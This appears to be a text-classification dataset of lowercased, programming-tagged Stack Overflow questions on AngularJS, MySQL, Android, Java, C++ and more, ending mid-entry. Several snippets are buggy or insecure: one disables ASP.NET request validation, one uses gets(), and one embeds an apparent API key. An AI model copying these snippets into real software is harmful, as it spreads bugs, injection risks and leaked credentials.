how do i get the specific value from json data using angularjs  i am new to angularjs. i am trying to get the values from json based on search key word and displaying that related data.    below is my json format   <pre><code>{ abc :[       {  url : abc.json }    ]      bbc :[        { url : bbc.json }    ] } </code></pre>   i am comparing the key with entered search word. if it matches then i need to load the separate json which is related to found key. i am able to compare the search word with key  but when i am trying to get the value am getting total value like url=abc.json  instead of this i ve to get only abc.json. my controller code is as follows   <pre><code>function getdetailscontroller($scope $http) {       $scope.search = function() {           $http.get( searchinfo.json ).success(function(response) {               angular.foreach(response  function(value  key) {                    if(angular.equals(key  $scope.searchtext)){                       $scope.url = value;                       $http.get(url).success(function(response) {                           $scope.details = response;                       });                    }             });          });     }; } </code></pre>   i have tried in diffrent ways but i was not able to get the value. could you please help me on this.,angularjs
search uisearchdisplaycontroller w/ scope only  i am using uisearchdisplaycontroller to pull in results from a webservice but i want to be able to search even if the search bar s text is empty. it seems like results are only being pulled in if this is not empty. how do i update &amp; show the results tableview by only scope,iphone
detecting change of status in a time series  i have a table in which all the records have an id  timestamp  and a boolean value. i need to discover in which records the boolean changes to false within 1 second of it being true for the same id.    i ve been working on the following statement  but after doing some research  i feel either a case combined with a fetch statement might work better  but i haven t found a good example where they ve been used together.   <pre><code>select *   from table_1   where timestamp in(       select dateadd(second  1  timestamp)       from table_1       where boolean = 1)   and id in (       select id        from table_1 where boolean = 1)   and boolean = 0 </code></pre>,sql
iphone- push a view after poping earlier view  i have one view pushed on navigation. now i do following on click of button.   <pre><code>    [self.navigationcontroller popviewcontrolleranimated:yes];     freestuffviewcontroller * freestuffvc=[[freestuffviewcontroller   alloc]initwithnibname:@ freestuffviewcontroller  bundle:nil];     [self.navigationcontroller pushviewcontroller:freestuffvc animated:yes];     [freestuffvc release]; </code></pre>   it only pops a view  but dint push new freestuffvc. please help.,iphone
need java print statement after loop  i am working on the current program and i need the * print statement to print all at once at the end. however  it keeps printing after each number is entered. i am new to java and any assistance would be appreciated.   <pre><code>import java.util.scanner;  public class barprint {     public static void main(string args[])     {         scanner input = new scanner(system.in);          int counter = 0;         int value = 0;          // counter loop for 5 inputs         for (counter = 0; counter &lt; 5; counter++){             system.out.print( input an integer between 1 and 30:  );             value = input.nextint();              while(value &lt; 1 || value &gt; 30){                 system.out.print( input an integer between 1 and 30:  );                 value = input.nextint();             }             // print the asterisks based on value             for (int i = 0; i &lt; value; i++){                 system.out.print( * );                  }                 system.out.println();         }         system.exit (0);     } } </code></pre>   current output:   <pre><code>input an integer between 1 and 30: 25 ************************* input an integer between 1 and 30: 22 ********************** input an integer between 1 and 30: 1 * input an integer between 1 and 30: 12 ************ input an integer between 1 and 30: 10 **********  process finished with exit code 0. </code></pre>   expected output:   <pre><code>input an integer between 1 and 30: 25 input an integer between 1 and 30: 22 input an integer between 1 and 30: 1 input an integer between 1 and 30: 12 input an integer between 1 and 30: 10   ************************* ********************** * ************ **********  process finished with exit code 0. </code></pre>,java
keep on having stringindexoutofboundsexception for this part  i keep getting stringindexoutofboundsexception for this part of the code. what could be the reason  contact is declared as string   <pre><code>    do{          system.out.print( contact number (01x-xxxxxxx) : );         contact = scan.next();         if(!phnumvalidation(contact)){             system.out.println( invalid phone number. please try again. );             system.out.println(  );         }     }while(!phnumvalidation(contact) || contact.length() &lt; 11); </code></pre>   this is the method for phone number validation   <pre><code>public static boolean phnumvalidation(string contact){     boolean valid = true;     string dash = contact.substring(3  4);     if(contact.length() == 11){         valid = true;         valid = contact.startswith( 01 );         valid = dash.matches( - );     }     else{         valid = false;     }      return valid; } </code></pre>,java
formatting a text file  i have this in my code   <pre><code>echo $result[ arr ][ sub ]. \t\t\t\t .$result[ arr2 ][ sub2 ]; </code></pre>   i am sending it through headers to a text file  but it shows up like this:   <pre><code>subject              description test                 checking to see it it works a long string             pushes my description to the side </code></pre>   how can i  fix  the formatting  so that the second column always lines up vertically  regardless of the length of text in the first column,php
mysql updating values where max timestamp  i have this query:   <blockquote>    select * from weather where icao =  sspb  and timestamp =   (select max(timestamp) from weather where icao =  sspb );  </blockquote>   the result:   <hr>  <pre><code>timestamp  icao  time  wind_angle  wind_speed  gust  visibility  condition  sky  temp  dew  pressure  humidity  2018-04-02 19:20:01  sspb  021919  230  03    9999    sct026  23  17  1012  67% </code></pre>  <hr>   now i wanto to update  using the same method as the select   <blockquote>    update weather set wind_speed =  10  where icao =  sspb  and   timestamp = (select max(timestamp) from weather where icao =  sspb );  </blockquote>   i get this error:   <h1>error code: 1093. you can t specify target table  weather  for update in from clause</h1>,mysql
actionbardrawertoggle doesn t understand appcompat attributes when used with non-appcompat theme.material  i m on minsdk=21 and using android.support.v7.app.actionbardrawertoggle. i want to disable the spinning animation  and i do it like this:   <pre><code>&lt;style name= mytheme  parent= android:theme.material.noactionbar &gt;     &lt;item name= drawerarrowstyle &gt;@style/mydrawerarrowtogglestyle&lt;/item&gt; &lt;/style&gt;  &lt;style name= mydrawerarrowtogglestyle  parent= widget.appcompat.drawerarrowtoggle &gt;     &lt;item name= spinbars &gt;false&lt;/item&gt; &lt;/style&gt; </code></pre>   this results in the following exception:   <pre><code>java.lang.runtimeexception: unable to start activity componentinfo{com.test/com.testactivity}: java.lang.runtimeexception: failed to resolve attribute at index 0             at android.app.activitythread.performlaunchactivity(activitythread.java:2298)             at android.app.activitythread.handlelaunchactivity(activitythread.java:2360)             at android.app.activitythread.access$800(activitythread.java:144)             at android.app.activitythread$h.handlemessage(activitythread.java:1278)             at android.os.handler.dispatchmessage(handler.java:102)             at android.os.looper.loop(looper.java:135)             at android.app.activitythread.main(activitythread.java:5221)             at java.lang.reflect.method.invoke(native method)             at java.lang.reflect.method.invoke(method.java:372)             at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:899)             at com.android.internal.os.zygoteinit.main(zygoteinit.java:694)     caused by: java.lang.runtimeexception: failed to resolve attribute at index 0             at android.content.res.typedarray.getcolor(typedarray.java:401)             at android.support.v7.app.drawerarrowdrawable.&lt;init&gt;(drawerarrowdrawable.java:69)             at android.support.v7.app.actionbardrawertoggle$drawerarrowdrawabletoggle.&lt;init&gt;(actionbardrawertoggle.java:469)             at android.support.v7.app.actionbardrawertoggle.&lt;init&gt;(actionbardrawertoggle.java:222)             at android.support.v7.app.actionbardrawertoggle.&lt;init&gt;(actionbardrawertoggle.java:150) </code></pre>   when i add this to the style:   <pre><code>&lt;item name= color &gt; attr/colorcontrolnormal&lt;/item&gt; </code></pre>   (which is exactly copied over from the parent style widget.appcompat.drawerarrowtoggle)  the same problem occurs.    the problem goes away when i use:   <pre><code>&lt;item name= color &gt; android:attr/colorcontrolnormal&lt;/item&gt; </code></pre>   i.e. with the  android:  prefix.    when i don t define a custom style at all  it all also works fine  but as i mentioned  i don t like the spinning icons.    maybe it s worth mentioning that the issue occurs only with the  color  attribute  the other ones don t need to be explicitly overridden.    what is the problem  is it because i am mixing the standard android attributes with the appcompat ones  and the drawer toggle class doesn t know how to read attributes without the  android:  prefix in this case     this whole appcompat stuff is very confusing  especially the styles.,android
i cant record some data to the database  i try record data which is in textbox in the database.when i write usual character to textbox such as(csharp david steve) it is okay not error.but when i try to record some data such as(i m) it says that incorrect syntax error for ( ) character.also i tryied to record html tag such as <code>&lt;a&gt;</code> it had error to now i writed to webconfig   <pre><code>&lt;httpruntime requestvalidationmode= 2.0 /&gt; &lt;pages validaterequest= false /&gt; </code></pre>   it hasnt error now.although it records the data to database it doesnt show the data in the datalist.,asp.net
android. progressbar doesn t work   i loading some data from a database and i d like to display a circle animation during this  because it s take time. the circle appears but only after loadcontent() which load data.     the code:   <pre><code>final string prefs_name =  myprefsfile ;      sharedpreferences settings = getsharedpreferences(prefs_name  0);      progressbar p = (progressbar) findviewbyid(r.id.imgprogress);     p.setenabled(true);       if (settings.getboolean( my_first_time   true)) {          // the app is being launched for first time  do something         log.d( launched:    first time );          loadcontent();          // record the fact that the app has been started at least once         settings.edit().putboolean( my_first_time   false).commit();     }     p.setenabled(false); </code></pre>   in xml:   <pre><code>&lt;progressbar     android:id= @+id/imgprogress      style=  android:attr/progressbarstylelarge      android:layout_width= wrap_content      android:layout_centerinparent= true      android:layout_height= wrap_content  /&gt; </code></pre>,android
mysql thread connected is 1-3 but experienced too many connections  yesterday i can see in the log that within 1 minute timespan  there is alot of mysql errors with too many connections failures. i am running default setting: 151 for max_connections and have not experienced this before.    when checking current state  my thread connections is only 1 and up to 3 at max.    should i increase my max_connections or did i just temporary suffer from a ddos     note: it solved itself and worked immediately after that minute.     update 2: it just happend again. i can see multiple errors within some seconds timeframe the error log. why does this happen,mysql
unable to pass data to mapsactivity  i wish to pass the input location from user (such as  hospital ) to mapsactivity so that some nearby hospitals can be shown on the map. i tried to pass it as shown below but failed. because when i show log message for the string  search   the log message cannot be displayed in logcat. other log message can be shown but only the log message for  search  cannot be shown. so  how can i pass it  hope to get some help. thanks below is my code.    <em>mainactivity</em>   <pre><code> btnsearch.setonclicklistener(new view.onclicklistener() {         @override         public void onclick(view view) {             intent intent = new intent(mainactivity.this  mapsactivity.class);             intent.putextra( search   searchword);             startactivity(intent);         }     }); </code></pre>   *mapsactivity   <pre><code>    @override protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_maps);       //log.e( halo:   search);      if (build.version.sdk_int &gt;= build.version_codes.m)     {         checklocationpermission();      }     // obtain the supportmapfragment and get notified when the map is ready to be used.     supportmapfragment mapfragment = (supportmapfragment) getsupportfragmentmanager()             .findfragmentbyid(r.id.map);     search = getintent().getextras().getstring( search );     mapfragment.getmapasync(this);      //setlocation(); }   @override public void onmapready(googlemap googlemap) {     mmap = googlemap;      if (contextcompat.checkselfpermission(this  manifest.permission.access_fine_location) == packagemanager.permission_granted) {         bulidgoogleapiclient();         mmap.setmylocationenabled(true);         log.e( check permission     +packagemanager.permission_granted);         log.v( halo:   search);     }      setlocation(); }        public void setlocation() {     object datatransfer[] = new object[2];     getnearbyplacesdata getnearbyplacesdata = new getnearbyplacesdata();     log.e( set location     +datatransfer);       log.e( halo:   search);      if (search.equalsignorecase( hospital )) {         mmap.clear();         string hospital =  hospital ;         string url = geturl(latitude  longitude  hospital);         datatransfer[0] = mmap;         datatransfer[1] = url;          getnearbyplacesdata.execute(datatransfer);         toast.maketext(mapsactivity.this   showing nearby hospitals   toast.length_short).show();     } else if (search.equalsignorecase( clinic )) {         mmap.clear();         string url = geturl(latitude  longitude  search);         datatransfer[0] = mmap;         datatransfer[1] = url;          getnearbyplacesdata.execute(datatransfer);         toast.maketext(mapsactivity.this   showing nearby clinics   toast.length_short).show();     } else if (search.equalsignorecase( pharmacy )) {         mmap.clear();         string url = geturl(latitude  longitude   pharmacy );         datatransfer[0] = mmap;         datatransfer[1] = url;          getnearbyplacesdata.execute(datatransfer);         toast.maketext(mapsactivity.this   showing nearby pharmacy   toast.length_short).show();     } else if(search.equalsignorecase(  )) {         toast.maketext(this   no location   toast.length_short).show();      } }   private string geturl(double latitude   double longitude   string nearbyplace) {      stringbuilder googleplaceurl = new stringbuilder( https://maps.googleapis.com/maps/api/place/nearbysearch/json  );     googleplaceurl.append( location= +latitude+   +longitude);     googleplaceurl.append( &amp;radius= +proximity_radius);     googleplaceurl.append( &amp;type= +nearbyplace);     googleplaceurl.append( &amp;sensor=true );     googleplaceurl.append( &amp;key= + aizasyblepbrfw7smb73mr88l91jqh3tue4mkse );      log.d( mapsactivity    url =  +googleplaceurl.tostring());      return googleplaceurl.tostring(); }  @override public void onconnected(@nullable bundle bundle) {      locationrequest = new locationrequest();     locationrequest.setinterval(100);     locationrequest.setfastestinterval(1000);     locationrequest.setpriority(locationrequest.priority_balanced_power_accuracy);       if(contextcompat.checkselfpermission(this  manifest.permission.access_fine_location ) == packagemanager.permission_granted)     {         locationservices.fusedlocationapi.requestlocationupdates(client  locationrequest  this);     } } </code></pre>,android
add random integer to every word in a file  i am creating a script that adds a random integer to every word in a file. all words are integer. so far my script add random integer if input is only one column.    <pre><code>import subprocess import fileinput import sys from random import randint #print randint(0 9)   for line in fileinput.input( mytext.txt   inplace=true):     if int(line) &lt; 999:         line = int(line) + randint(25 101)     else:         line = int(line) + randint(50 500)      line = str(line) +  \n      #print line     sys.stdout.write(line) </code></pre>   this works if file contains below text ( one column )   <pre><code>1 2 3 4 </code></pre>   output:   <pre><code>94 2300 1402 585 </code></pre>   but does not work if file contains: ( two or more columns )   <pre><code>1   2 2   5 3   2 3   4 </code></pre>   how to modify it  so that i can give as many columns as i want.,python
can i set a uiview hidden is true in the viewdidload()   i have designed a <code>uiview</code> in storyboard and the parent view is a tableview. but i want to set it hidden or unhidden depend on my decision.how can i do  get the view by tag  or any other method？ i put up the code:   <pre><code>uiview *myview=[[uiview alloc] viewwithtag:99]; myview.hidden=true; </code></pre>   but it does not work!,ios
implement order screen  this is not a pure programming question; rather it has to do with implementation details. it is required to implement an order processing screen where a customer makes an order consisting of multiple items. it is a two step operation whereby the user has to enter the name of the customer (or pick a name off of a  list) and enter the order details (detail block in db terminology) and likewise enter the items or pick them off of a list. how is this transaction best carried out on an android device     (please note that i am not asking about the programming of db operations rather about what objects are needed on the layout in order to implement such a transaction.),android
css: locking the boxes  <pre><code>___________div class=main_________________  div id=left                   div id=right __________________________________________ </code></pre>   how can i achive that all the bottoms of the main + left + right box are glued together     basically locking the bottoms  say if there is a lot of contents in the left box -> the right box will grow along with the left and main box.    __ follow up __    i don t know how to correctly implement into my code :(    <a href= http://jsfiddle.net/v572v/  rel= nofollow >http://jsfiddle.net/v572v/</a>    i have copied the whole css file so it looks very messy. but the boxes are as follow   <pre><code>&lt;div class= content home &gt; &lt;div id= main &gt; &lt;div id= sidebar &gt; </code></pre>,css
i accidentally deleted the window form designer generated code in form.designer.cs  i accidentally deleted some of the <strong>contents</strong> in the windows form designer generated code in <strong>form.designer.cs</strong> and right now the design form will not update automatically. no matter what toolbox i added (label  textbox or any)  it still remains the old form.     how can i solve this,c#
how is child a different width if it s  100%  or  inherit  from parent   how is it possible for a child element  contained within a parent  to be a different width than the parent  if 1) the child s width is 100% 2) the child s width is  inherit       both of these are occurring to me. very hard to put together a quick fiddle as i m dealing with a huge page.,css
mysql query use of and <pre><code>contest contest_id  launched        name ------------------------------------------------------------------------- 1           0               cont1 2           1               cont2  participants participants_id       group_id       contest_id      puser_id ------------------------------------------------------------------------- 1                     1              1               555 2                     1              1               666  fusers fuser_id    name ------------------- 555     alex 666     sabrina      </code></pre>   i need to write up a query that will select all users(name groupid contestname) who are participants of all contests details of all users are in <code>fusers</code>  where as contest has all contest hosted launched should be 1 and participants is the table that contains id of users who have decided to participate in a contest. <code>fuser_id = puser_id</code>    want to find who is participating in contest_id=1 there group_id contestname and name,mysql
query and return all foreign key values as array in mysql  the goal is to store and query json array values in mysql v5.7.     given two tables country(id fullname) and country_synonyms(country_id synonyms)  with one to many relationship through foreign key country id:   <pre><code>create table country(id int  fullname varchar(255)); create table country_synonyms(country_id int synonyms varchar(255)); alter table country add constraint c_pk primary key(id); alter table country_synonyms add constraint cs_pk primary key(country_id synonyms); alter table country_synonyms add constraint c_fk foreign key (country_id) references country(id) on delete cascade;  insert into country(id fullname) values (1  afghanistan ); insert into country_synonyms(country_id synonyms) values (1  afghanistan ) (1  afg ) (1  islamic republic of afghanistan ); </code></pre>   listing the synonyms as array works with:    <pre><code>select   t1.id    t1.fullname    cast(concat( [   group_concat(json_quote(t2.synonyms) order by synonyms separator    )   ] ) as json) as synonyms from country t1 left join country_synonyms t2 on t1.id = t2.country_id where t1.id=1 group by country_id;  +----+-------------+-----------------------------------------------------------+ | id | fullname    | synonyms                                                  | +----+-------------+-----------------------------------------------------------+ |  1 | afghanistan | [ afg    afghanistan    islamic republic of afghanistan ] | +----+-------------+-----------------------------------------------------------+ </code></pre>   search by synonyms only return the queried value as in    <pre><code>select   t1.id    t1.fullname    cast(concat( [   group_concat(json_quote(t2.synonyms) order by synonyms separator    )   ] ) as json) as synonyms from country t1 left join country_synonyms t2 on t1.id = t2.country_id where t2.synonyms= afg  group by country_id;`  +----+-------------+----------+ | id | fullname    | synonyms | +----+-------------+----------+ |  1 | afghanistan | [ afg ]  | +----+-------------+----------+ </code></pre>   how to do  list all country synonyms that has synonyms  afg          edit:  i find this query returns the array i want:   <pre><code>select   t1.id    t1.fullname    cast(concat( [   group_concat(json_quote(t2.synonyms) order by synonyms separator    )   ] ) as json) as synonyms from country t1 left join country_synonyms t2 on t1.id = t2.country_id where t1.id in (select country_id from country_synonyms where synonyms= afg ) group by country_id;  </code></pre>   but it s doing an extra scan on the country_synonyms table  could there be a better solution in terms of performance,mysql
append a nsstring to a nsmutablestring  raises an exception  i access to a specific element of a nsmutablearray (nid) and save it in a nsstring (num).     after that i want concatenate this element (num) with a url (nsmutablestring)  and use the method appendstring but i obtain an exception.    how can i fix this     below the code:      <pre class= lang-c prettyprint-override ><code>nsmutablearray nid;  ....  nsuinteger row = [indexpath row]; nsstring *num = [nid objectatindex:row];  nsmutablestring *url = [[nsmutablestring alloc]                         initwithstring:@ http://example.com/prova/ ];  [url appendstring:num]; </code></pre>,objective-c
sql foreign key constraint in dbms  if my dbms does not implement foreign key constraint  what can i do to express a foreign key constraint rather that a view (to insert to with check option),sql
rails css stylesheets overriding each other  i have a clients.css and jobs.css in the assets/stylesheets location.    each has a respective controller. jobs was created with a scaffold after clients. the scaffolds.scss file is blank.    application.css is blank    when i code a change such as <code>body{color:black}</code> in the jobs.css  it changes the clients/index.html.erb view and the jobs/index.html.erb view.     what could be the reason for this  i would like to have separate .css files for jobs and clients..,ruby-on-rails
how to initialize data for a function that is repeatedly called  this is surely a beginner s question  i m just having trouble searching for it.     what i want to do is calculate points on a circle for thousands of circles which i will later render. because i will be rendering many thousands of circles a second  i thought i d try to avoid unncessary overhead. to do this  i ve created a function that calculates a number of points (which i want to be variable  a larger circle will need more points calculated) on a unit circle  and another function which can take these points  translate them and then scale by the radius.     my original code ended up something like this:    <pre><code>class circle(): ... def calccircle(segments):     does some stuff to calculate generic coordinates  def createcircle(x  y  r  segments):             does some stuff to create a circle using calccircle(segments) </code></pre>   obviously the problem was that even though i might only want to create circles with 20 segments  i was calling the calccircle function (and repeating the same calculations) every time i called createcircle.     the only way i could figure out how to fix this was:    <pre><code>class circle(): ... def calccircle(segments):     does some stuff to calculate generic coordinates  createcircle_has_not_been_run = true  def createcircle(x  y  r  segments):      if circle.transcircle_has_not_been_run:         generic_circle = circle.calccircle(segments)         circle.createcircle_has_not_been_run = false      does some stuff to create a circle using generic_circle </code></pre>   i ve never formally learnt programming so i m not sure if this is considered good design. surely it would become messy if every time i wanted to  initialize  data or call a function only on the first run through i had to make a random class variable. the reason i ask is i m constantly running into this problem  so i assume there must be a standard way of doing it.     edit: an example of how the call will be made.    <pre><code>@window.event def on_draw():     window.clear()     width = window.get_size()[0]     height = window.get_size()[1]     radius = int(width/50)     segments = int(radius*1.5)     for i in range(n):         pyglet.gl.glcolor3f(0.05 0.2 0.9)         drawcircle(positions[i][0] positions[i][1] width segments)     drawcage(width height)     drawlabel(width height)     etc. </code></pre>   i m aware that there s problems here but i m just trying to illustrate the example (positions comes from the update function if anyone is wondering). as i ve said earlier  this is a problem i run into all the time.    i could call circle.calccircle() from the on_resize() function as per achim s suggestion. i have a hard time believing however that standard practice is to stick two random functions into a class (as it stands neither of them necessarily need to even be in the circle class)  one of which is implicitly dependent on the other and both of which are called in different parts of the code.,python
creation of a map from another map in java  i have to convert a map- map1 into map2.    map1:   <pre><code>a.b.key    =  key  a.b.value  =  value  a.b.key1   =  key1  a.b.value1 =  value1  a.b.key2   =  key2  a.b.value2 =  value2  </code></pre>   map2:   <pre><code>key  = value key1 = value1 key2 = value2 </code></pre>   map1 is created from this xml file:    xml file:   <pre><code>&lt;a&gt;   &lt;b&gt;     &lt;key&gt; key &lt;/key&gt;     &lt;value&gt; value &lt;/value&gt;   &lt;/b&gt;   &lt;b&gt;     &lt;key&gt; key1 &lt;/key&gt;     &lt;value&gt; value1 &lt;/value&gt;   &lt;/b&gt;   &lt;b&gt;     &lt;key&gt; key2 &lt;/key&gt;     &lt;value&gt; value2 &lt;/value2&gt;   &lt;/b&gt; &lt;/a&gt; </code></pre>   i am getting the problem because map1 contents are not in the order  in which its mentioned in the xml file. map1 is something like this:    actual map1:   <pre><code>a.b.key2   =  key2  a.b.key    =  key  a.b.value  =  value  a.b.value1 =  value1  a.b.value3 =  value2  a.b.key1   =  key1  </code></pre>   where am i going wrong,java
c++: two separate functions return a different result when nested   i tried to convert a hex-encoded string into a const char* buffer containing the decoded string. for that i have a function (<code>string hex_decode(string hex_input)</code>) that takes the string and decodes it.<br> after testing the function by itself a couple of times  i tried the following call:   <pre><code>const char* hex_decoded_c_str = hex_decode(input).c_str(); </code></pre>   and saw that it returned complete gibberish! in an effort to debug the problem  i broke it up into two statements  like so:   <pre><code>string hex_decoded_string = hex_decode(input); const char* hex_decoded_c_str = hex_decoded_string.c_str(); </code></pre>   this time it worked perfectly!<br> i am so confused  does anyone know what could cause something like this,c++
c# custom class perform type checking inside of properties method  is there a better way to perform type checking inside of properties for custom classes     for instance:   <pre><code>namespace datatransferobjects {     public class sampledto     {         private string _fname;         private string _lname;          public string firstname         {             get;             set {_fname = value == null   string.empty : value.tostring(); }         }           public string lastname         {             get;             set { _lname = value == null   string.empty : value.tostring(); }         }      } // class } // namespace . . . sampledto sdto = new sampledto(); sdto.firstname = datagridviewsample.rows[0].cells[ firstname ].value; sdto.lastname = datagridviewsample.rows[0].cells[ lastname ].value; </code></pre>   the problem is that the compiler will not allow an object to be passed into the class.    i could rewrite this as follows:   <pre><code>namespace datatransferobjects {     public class sampledto     {         private string _fname;         private string _lname;          public object firstname         {             get { return (object)_fname; }             set {_fname = value == null   string.empty : value.tostring(); }         }           public object lastname         {             get { return (object)_lname; }             set { _lname = value == null   string.empty : value.tostring(); }         }      } // class } // namespace </code></pre>   but this seems too clunky  since i now have to cast any calls as follows   <pre><code>string tempfirstname = sdto.firstname.tostring(); </code></pre>   any words of wisdom from the community,c#
nullpointerexception when switching between fragments with single activity android  good day all. quick question  for a single activity that holds multiple fragments via a footer  is this a correct way to implement switching between fragments  this code is present for every fragment    private void showmyfragment() {   <pre><code>  fragmenttransaction ft = fragmanager.begintransaction();    if(fragmanager.findfragmentbytag(my_frag_tag) != null){ //different tag for different fragment       ft.replace(r.id.dashboard_fragment_container_id  myfragment  my_frag_tag);  //nullpointerexception sometimes here      ft.commit();     }    else {        myfragment = new myfragment();            ft.replace(r.id.dashboard_fragment_container_id  myfragment  my_frag_tag);                            ft.addtobackstack(null);       ft.commit();   }  } </code></pre>   the stack trace is:   <pre><code>01-23 15:07:20.432: e/androidruntime(30834): fatal exception: main 01-23 15:07:20.432: e/androidruntime(30834): java.lang.nullpointerexception 01-23 15:07:20.432: e/androidruntime(30834):    at android.support.v4.app.backstackrecord.doaddop(unknown source) 01-23 15:07:20.432: e/androidruntime(30834):    at android.support.v4.app.backstackrecord.replace(unknown source) 01-23 15:07:20.432: e/androidruntime(30834):    at com.company.example.dashboardactivity.showcomparisondashboard(dashboardactivity.java:431) 01-23 15:07:20.432: e/androidruntime(30834):    at com.company.example.dashboardactivity.onclick(dashboardactivity.java:359) 01-23 15:07:20.432: e/androidruntime(30834):    at android.view.view.performclick(view.java:2533) </code></pre>   assuming this code is present for every method that holds a fragment.. like showmyfragment1() for myfragment1  showmyfragment2() for myfragment2 etc.. also there is a different tag for different fragments. is this a good way to switch between the fragments in the single activity footer or is there a cleaner way. i sometimes get a nullpointerexception in the line commented above. and am not sure what am doing wrong there when switching. thank you.       <strong>update</strong> just realized that the trouble occurs after an orientation change. only one of my fragments can change orientation. the others are locked to portrait. so after an orientation change occurs on the priviledge one and then i switch fragments  the problem occurs.,android
how do i do this in mysql   i have following personal finance sample data in mysql:   <pre><code>+---------------------------------------------------------------------------+ | id |    date    | amount | year | month |  description   | type | balance | +---------------------------------------------------------------------------+ |  4 | 2015-02-03 | 563.00 | 2015 |   2   | some text here |  out | -342.00 | +---------------------------------------------------------------------------+ |  3 | 2015-02-01 | 102.95 | 2015 |   2   | some text here |  in  |  221.00 | +---------------------------------------------------------------------------+ |  2 | 2015-01-17 | 586.38 | 2015 |   1   | some text here |  out |  184.96 | +---------------------------------------------------------------------------+ |  1 | 2015-01-09 | 421.15 | 2015 |   1   | some text here |  in  |  771.34 | +---------------------------------------------------------------------------+ </code></pre>   what i want is some kind of view/query. a single row for each month in selected year where sum(amount) is seperate for each type  kinda like this:   <pre><code>+-------------------------------------+ | year | month | total_in | total_out |  +-------------------------------------+ | 2015 |   2   |  xxx.xx  |  xxx.xx   | +-------------------------------------+ | 2015 |   1   |  xxx.xx  |  xxx.xx   | +-------------------------------------+ </code></pre>   with following query    <pre><code>select year  month  type  sum(amount) as total_amount from table where year = 2015 group by month  type order by month desc </code></pre>   i only come as far as this:   <pre><code>+------------------------------------+ | year | month | type | total_amount | +------------------------------------+ | 2015 |   2   |  in  |    xxx.xx    | +------------------------------------+ | 2015 |   2   |  out |    xxx.xx    | +------------------------------------+ | 2015 |   1   |  in  |    xxx.xx    | +------------------------------------+ | 2015 |   1   |  out |    xxx.xx    | +------------------------------------+ </code></pre>   what is it that i m missing here     thank you!,mysql
a question related to nsuserdefault class  i m doing  state miantainance code for iphone os 4.0 using nsuserdefault class. when i click on home and then click on application then it works but when i click on home and then press on build and run button it doesn t work why is it so,iphone
exc_bad_access in nsurlconnection: how to debug   i have an iphone app that downloads urls. (pdfs to display) easy:   <pre><code>self.request = [nsurlrequest requestwithurl:self.url]; self.conn = [nsurlconnection connectionwithrequest:self.request delegate:self]; </code></pre>   where self.conn and request are retained properties.    for specific urls  this throws exc_bad_access. the url is valid and is constructed in the same way as urls that do work. (90% of urls are fine)    these ones work:   <pre><code>http://www.airservicesaustralia.com/publications/current/ersa/fac_yarg_11-mar-2010.pdf http://www.airservicesaustralia.com/publications/current/ersa/fac_yark_11-mar-2010.pdf </code></pre>   these don t:   <pre><code>http://www.airservicesaustralia.com/publications/current/ersa/fac_yamk_11-mar-2010.pdf http://www.airservicesaustralia.com/publications/current/ersa/fac_yatn_11-mar-2010.pdf </code></pre>   spot the difference  yeah  me neither. also no difference in response headers from the server for them. to clarify  the ones that work always work  the ones that don t never work. so not some random release/retain issue it seems.    for the ones that don t work  none of the methods in my delegate are ever called  it fails hard before that. and with no error message  just exc_bad_access.    sooo.... any way to debug what is going on inside nsurlconnection,iphone
how to use gets function in c++ code   in the main function of this code in the case 2 of switch case after entering the string program terminates!  what is the problem with the code    <pre><code>/*this code is a implementation of bubble sort algorithm*/  #include &lt;iostream&gt; #include&lt;conio.h&gt; #include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;dos.h&gt;  using namespace std; int counter; template &lt;class t&gt;//template created  class program//class which holds all the sorting functions {     public:         t *v x;         int j k l siz flag;         time_t t1 t2;         char c;     public:         void sortlist()//fn to sort characters and numbers         {             cout&lt;&lt;endl&lt;&lt; -------&gt;&gt;intermediate steps&lt;&lt;------- ;             for(k=1;k&lt;=siz-1;k++)//sorting using a bubble sort             {   flag=0;                 cout&lt;&lt;endl&lt;&lt; pass :  &lt;&lt;k&lt;&lt;endl;                 j=0;                 while(j&lt;=siz-1-k)                 {                     if(v[j]&gt;v[j+1])//comparing two consecutive elements                     {                         x=v[j+1];                         v[j+1]=v[j];                         v[j]=x;                         flag++;                     }                     for(l=0;l&lt;siz;l++)                     {                         cout&lt;&lt;v[l]&lt;&lt;    ;                     }                     cout&lt;&lt;endl;                     j++;                 }                 cout&lt;&lt; comparisons: &lt;&lt;(siz-k)&lt;&lt;endl;                 if(flag==0)                 {                     cout&lt;&lt;endl&lt;&lt; -----&gt;no need to carry out more passes &lt;&lt;endl&lt;&lt; list is already sorted &lt;&lt;endl;                     break;                 }             }             }           void stringsort()//fn to sort the strings         {              t a[90][20] b[1][20];             cout&lt;&lt; enter the size of list: ;             cin&gt;&gt;siz;             cout&lt;&lt; enter the list: ;             cin.ignore();             for(j=0;j&lt;siz;j++)             {                 gets(a[j]);             }             cout&lt;&lt;endl&lt;&lt; -------&gt;&gt;intermediate steps&lt;&lt;------- ;             for(k=1;k&lt;=siz-1;k++)//sorting using bubble sort             {                 flag=0;                 cout&lt;&lt;endl&lt;&lt; pass :  &lt;&lt;k&lt;&lt;endl;                 j=0;                 while(j&lt;siz-k)                 {                     x=strcmp(a[j] a[j+1]);//comparing two consecutive string                     if(x&gt;0)                     {                         strcpy(b[1] a[j+1]);                         strcpy(a[j+1] a[j]);                         strcpy(a[j] b[1]);                         flag++;                     }                      for(l=0;l&lt;siz;l++)                 {                     cout&lt;&lt;a[l]&lt;&lt;         ;                 }                 cout&lt;&lt;endl;                     j++;                 }                 cout&lt;&lt;endl&lt;&lt; comparison: &lt;&lt;(siz-k)&lt;&lt;endl;                 if(flag==0)                 {                     cout&lt;&lt;endl&lt;&lt; no need to carry out more passes &lt;&lt;endl&lt;&lt; list is already sorted &lt;&lt;endl;                     break;                 }             }             cout&lt;&lt; sorted list: &lt;&lt;endl;             for(j=0;j&lt;siz;j++)             {                 cout&lt;&lt;endl&lt;&lt;a[j]&lt;&lt;endl;             }         } }; int main()//main fn {     int x;     char c;     do     {         program &lt;char&gt; p1;         program &lt;int&gt; p2;         cout&lt;&lt;endl&lt;&lt; to sort a list of numbers enter -&gt; 1 &lt;&lt;endl&lt;&lt;endl&lt;&lt; to sort string of characters enter -&gt; 2 &lt;&lt;endl&lt;&lt;endl&lt;&lt; to sort a list of strings and double_strings enter -&gt; 3 ;         cout&lt;&lt;endl&lt;&lt;endl&lt;&lt; enter either 1 or 2 or 3: ;         cin&gt;&gt;x;         switch(x)         {        case 1://to sort list of numbers             {                 